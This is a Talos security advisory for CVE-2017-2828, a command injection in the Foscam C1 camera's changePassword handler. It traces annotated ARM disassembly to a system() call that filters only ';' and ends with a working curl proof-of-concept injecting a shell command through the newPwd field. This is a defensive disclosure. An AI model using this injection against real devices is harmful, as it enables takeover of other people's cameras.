Talos Vulnerability Report

TALOS-2017-0329

Foscam IP Video Camera CGIProxy.fcgi Account Password Command Injection Vulnerability

June 19, 2017
CVE Number

CVE-2017-2828

Summary

An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during a password change resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.

When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the "CGIProxy.fcgi" service using the following code:

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60
...
.text:00009F60                       loc_9F60
.text:00009F60 DB FE FF EB                       BL      registerMsgClients_1ad4    ; \
\
.text:00009AD4                       registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9                       STMFD   SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5                       LDR     R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5                       LDR     R1, =0x40004001                                                ; [3] code
.text:00009AE0 04 00 A0 E1                       MOV     R0, R4
.text:00009AE4 2C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38                               ; [2] callback function
.text:00009AE8 3D FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))   ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1                       MOV     R0, R4
.text:00009AF0 24 10 9F E5                       LDR     R1, =0x3001
.text:00009AF4 1C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1                       MOV     R0, R4
.text:00009B00 18 10 9F E5                       LDR     R1, =0x3002
.text:00009B04 0C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8                       LDMFD   SP!, {R4,LR}
.text:00009B0C 34 FD FF EA                       B       CMsgClient::registerMsgHandle(int,void (*)(char const*,int))

After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:00009FA8 14 70 8D E2                       ADD     R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1                       MOV     R1, R8
.text:00009FB0 07 00 A0 E1                       MOV     R0, R7
.text:00009FB4 34 FC FF EB                       BL      strcpy                     ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1                       MOV     R0, R8
.text:00009FBC C0 FB FF EB                       BL      strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5                       LDR     R3, =0x404
.text:00009FC4 00 30 8D E5                       STR     R3, [SP]
.text:00009FC8 C8 10 9F E5                       LDR     R1, =0x4001                ; [5]
.text:00009FCC 07 30 A0 E1                       MOV     R3, R7                     ; uri request
.text:00009FD0 01 20 A0 E3                       MOV     R2, #1
.text:00009FD4 04 40 8D E5                       STR     R4, [SP,#4]
.text:00009FD8 08 40 8D E5                       STR     R4, [SP,#8]
.text:00009FDC 0C 40 8D E5                       STR     R4, [SP,#12]
.text:00009FE0 14 04 8D E5                       STR     R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5                       LDR     R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)

The handler for code 0x4001 is in the "webService" binary and is done by the function executeCGICmd at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that's responsible for extracting the user name, password, and command that was specified within the user's query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp and then the function call at [9] will execute the function pointer.

.text:0001E5A4                       executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2                       ADD     R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2                       SUB     SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1                       MOV     R8, R0
.text:0001E5B4 06 10 A0 E1                       MOV     R1, R6
.text:0001E5B8 C4 00 9F E5                       LDR     R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB                       BL      sub_28EAC                          ; [6]
.text:0001E5C0 00 70 50 E2                       SUBS    R7, R0, #0
.text:0001E5C4 27 00 00 0A                       BEQ     replyMsg_1E668

.text:00028EAC                       sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2                       SUBS    R4, R1, #0
.text:00028EB4 00 80 A0 E1                       MOV     R8, R0
.text:00028EB8 46 DF 4D E2                       SUB     SP, SP, #0x118
.text:00028EBC 00 00 E0 03                       MOVEQ   R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A                       BEQ     leaving_290F4
...
.text:00028F4C 00 00 50 E3                       CMP     R0, #0
.text:00028F50 0C 00 00 1A                       BNE     findCmdCallback_28F88
...
.text:00028F88                       findCmdCallback_28F88
.text:00028F88 05 00 A0 E1                       MOV     R0, R5
.text:00028F8C 45 1F 8D E2                       ADD     R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB                       BL      findJsonCallbackCommand_281BC      ; [7]
.text:00028F94 00 90 50 E2                       SUBS    R9, R0, #0
.text:00028F98 06 00 00 0A                       BEQ     checkIfAuthNeeded_28FB8
...
.text:00028FB8                       checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5                       LDR     R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5                       LDR     R2, =0xFFFF
.text:00028FC0 08 10 93 E5                       LDR     R1, [R3,#8]
.text:00028FC4 02 00 51 E1                       CMP     R1, R2
.text:00028FC8 06 00 00 1A                       BNE     authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1                       MOV     R0, R4
.text:00028FDC 33 FF 2F E1                       BLX     R3                                 ; [8]
.text:00028FE0 09 00 A0 E1                       MOV     R0, R9
.text:00028FE4 42 00 00 EA                       B       leaving_290F4
...
.text:000290E0 04 00 A0 E1                       MOV     R0, R4
.text:000290E4 33 FF 2F E1                       BLX     R3                                 ; [9]
.text:000290E8 05 00 A0 E1                       MOV     R0, R5
.text:000290EC 00 00 00 EA                       B       leaving_290F4
...
.text:000290F4 46 DF 8D E2                       ADD     SP, SP, #0x118
.text:000290F8 F0 87 BD E8                       LDMFD   SP!, {R4-R10,PC}

When handling the "CGIProxy.fcgi" command "changePassword", the function sub_41774 will be called. This function is responsible for allowing a user to change their password and is accessible by users with an access level of 2. At the beginning of the function, the parameters for "usrName" [10], "oldPwd" [11], "newPwd" [12], "usr" [13], and "callbackJson" [14] are extracted from the query. At [15], the "usr" parameter will then be checked to ensure that the account already exists. Afterwards, the "usrName" parameter will be passed as an argument along with the old password and the new password to the function call at [16].

.text:00041774                       sub_41774
.text:00041774
.text:00041774 F0 45 2D E9                       STMFD   SP!, {R4-R8,R10,LR}
.text:00041778 52 DE 4D E2                       SUB     SP, SP, #0x520
.text:0004177C 04 D0 4D E2                       SUB     SP, SP, #4
...
.text:000417A4 4E 8E 8D E2                       ADD     R8, SP, #0x540+lv_usrNameString_60
...
.text:000417AC CC 11 9F E5                       LDR     R1, =aUsrname
.text:000417B0 08 20 A0 E1                       MOV     R2, R8
.text:000417B4 05 00 A0 E1                       MOV     R0, R5
.text:000417B8 A2 9A FF EB                       BL      sub_28248                  ; [10]
.text:000417B8
.text:000417BC C0 11 9F E5                       LDR     R1, =aOldpwd
.text:000417C0 4A 2E 8D E2                       ADD     R2, SP, #0x540+lv_pwdString_a0
.text:000417C4 05 00 A0 E1                       MOV     R0, R5
.text:000417C8 9E 9A FF EB                       BL      sub_28248                  ; [11]
.text:000417C8
.text:000417CC 42 6E 8D E2                       ADD     R6, SP, #0x540+lv_usrString_120
.text:000417D0 B0 11 9F E5                       LDR     R1, =aNewpwd
.text:000417D4 46 2E 8D E2                       ADD     R2, SP, #0x540+lv_newPwdString_e0
.text:000417D8 05 00 A0 E1                       MOV     R0, R5
.text:000417DC 99 9A FF EB                       BL      sub_28248                  ; [12]
.text:000417DC
.text:000417E0 52 4E 8D E2                       ADD     R4, SP, #0x540+lv_callbackJsonString_20
.text:000417E4 A0 11 9F E5                       LDR     R1, =aUsr
.text:000417E8 06 20 A0 E1                       MOV     R2, R6
.text:000417EC 05 00 A0 E1                       MOV     R0, R5
.text:000417F0 00 70 A0 E3                       MOV     R7, #0
.text:000417F4 93 9A FF EB                       BL      sub_28248                  ; [13]
.text:000417F4
.text:000417F8 0C 75 64 E5                       STRB    R7, [R4,#-0x50C]!
.text:000417FC 8C 11 9F E5                       LDR     R1, =aCallbackjson
.text:00041800 04 20 A0 E1                       MOV     R2, R4
.text:00041804 05 00 A0 E1                       MOV     R0, R5
.text:00041808 8E 9A FF EB                       BL      sub_28248                  ; [14]
.text:00041808
.text:0004180C 80 01 9F E5                       LDR     R0, =gv_authenticationObject
.text:00041810 06 10 A0 E1                       MOV     R1, R6
.text:00041814 BE 8B FF EB                       BL      sub_24714                  ; [15] verify that "usr" is a valid user
.text:00041818 02 00 50 E3                       CMP     R0, #2
.text:0004181C 08 00 00 0A                       BEQ     loc_41844
...
.text:0004185C 4E 6E 8D E2                       ADD     R6, SP, #0x540+lv_usrNameString_60
.text:00041860 4A 7E 8D E2                       ADD     R7, SP, #0x540+lv_pwdString_a0
.text:00041864 46 8E 8D E2                       ADD     R8, SP, #0x540+lv_newPwdString_e0
.text:00041868 06 10 A0 E1                       MOV     R1, R6
.text:0004186C 20 01 9F E5                       LDR     R0, =gv_authenticationObject
.text:00041870 07 20 A0 E1                       MOV     R2, R7
.text:00041874 08 30 A0 E1                       MOV     R3, R8
.text:00041878 8B 8E FF EB                       BL      sub_252AC                  ; [16] change password %r2 for user %r1 to %r3

The function sub_252AC is responsible for doing a few comparisons and then making a call to system which changes the password. After verifying that the account name that was provided as an argument already exists, the function will then check to see that the old password matches the original one for the account at [17]. If so, the function will then build the string that is to be passed to the command [18] using a format string built with sprintf. The format string that's used is "sh /usr/bin/ftpd/configFTP.sh 3 %s %s". Once the format string is successfully built, then the function will check to see if there's a ";" character within the provided password [19]. If there are no invalid characters within the password, then the format string will be executed by the system call at [20]. Due to the service failing to check for other characters interpreted by the Bourne shell, an attacker may inject arbitrary characters that will allow one to specify arbitrary commands that may be interpreted by the shell.

.text:000252AC                       sub_252AC
.text:000252AC
.text:000252AC 00 00 51 E3                       CMP     R1, #0
.text:000252B0 00 00 52 13                       CMPNE   R2, #0
.text:000252B4 F0 4F 2D E9                       STMFD   SP!, {R4-R11,LR}
.text:000252B8 00 60 A0 E1                       MOV     R6, R0
.text:000252BC B4 D0 4D E2                       SUB     SP, SP, #0xB4
...
.text:00025324 0A 00 00 1A                       BNE     loc_25354
...
.text:00025354                       loc_25354
.text:00025354 0B B2 86 E0                       ADD     R11, R6, R11,LSL#4
.text:00025358 18 B0 8B E2                       ADD     R11, R11, #0x18
.text:0002535C 0B 00 A0 E1                       MOV     R0, R11
.text:00025360 09 10 A0 E1                       MOV     R1, R9
.text:00025364 CB FF FF EB                       BL      sub_25298                      ; [17] check old password
.text:00025368
.text:00025368 00 70 50 E2                       SUBS    R7, R0, #0
.text:0002536C 0A 00 00 0A                       BEQ     loc_2539C
...
.text:000253E4 64 10 A0 E3                       MOV     R1, #0x64
.text:000253E8 10 21 9F E5                       LDR     R2, =aShUsrBinFtpd_1 ; "sh /usr/bin/ftpd/configFTP.sh 3 %s %s"
.text:000253EC 04 30 A0 E1                       MOV     R3, R4
.text:000253F0 06 00 A0 E1                       MOV     R0, R6
.text:000253F4 00 50 8D E5                       STR     R5, [SP,#0xD8+var_D8]
.text:000253F8 3A B5 FF EB                       BL      snprintf                       ; [18] build formatstring
.text:000253FC
.text:000253FC 05 00 A0 E1                       MOV     R0, R5
.text:00025400 3B 10 A0 E3                       MOV     R1, #';'
.text:00025404 D7 B7 FF EB                       BL      strchr                         ; [19] check for ';'
.text:00025408
.text:00025408 00 00 50 E3                       CMP     R0, #0
.text:0002540C 22 00 00 0A                       BEQ     do(system)_2549C
...
.text:0002549C                       do(system)_2549C
.text:0002549C 0C 00 8D E2                       ADD     R0, SP, #0xD8+lv_command_cc    ; [20] execute system
.text:000254A0 29 B4 FF EB                       BL      system
.text:000254A4 01 00 00 EA                       B       return(0)_254B0

Exploit Proof-of-Concept

This vulnerability is reachable by the "changePassword" command and requires a valid user account to change the password for. This can be done with the following curl request:

```
$ usr="admin"
$ pwd=""
$ newPwd=`perl -MURI::Escape -e 'print uri_escape("\\$(echo y>/tmp/www/injected.txt)")'`
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${usr}&pwd=${pwd}&cmd=changePassword&usrName=${usr}&oldPwd=${pwd}&callbackJson=&newPwd=${newPwd}"
```

Timeline

2017–05-08 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato and another member of Cisco Talos.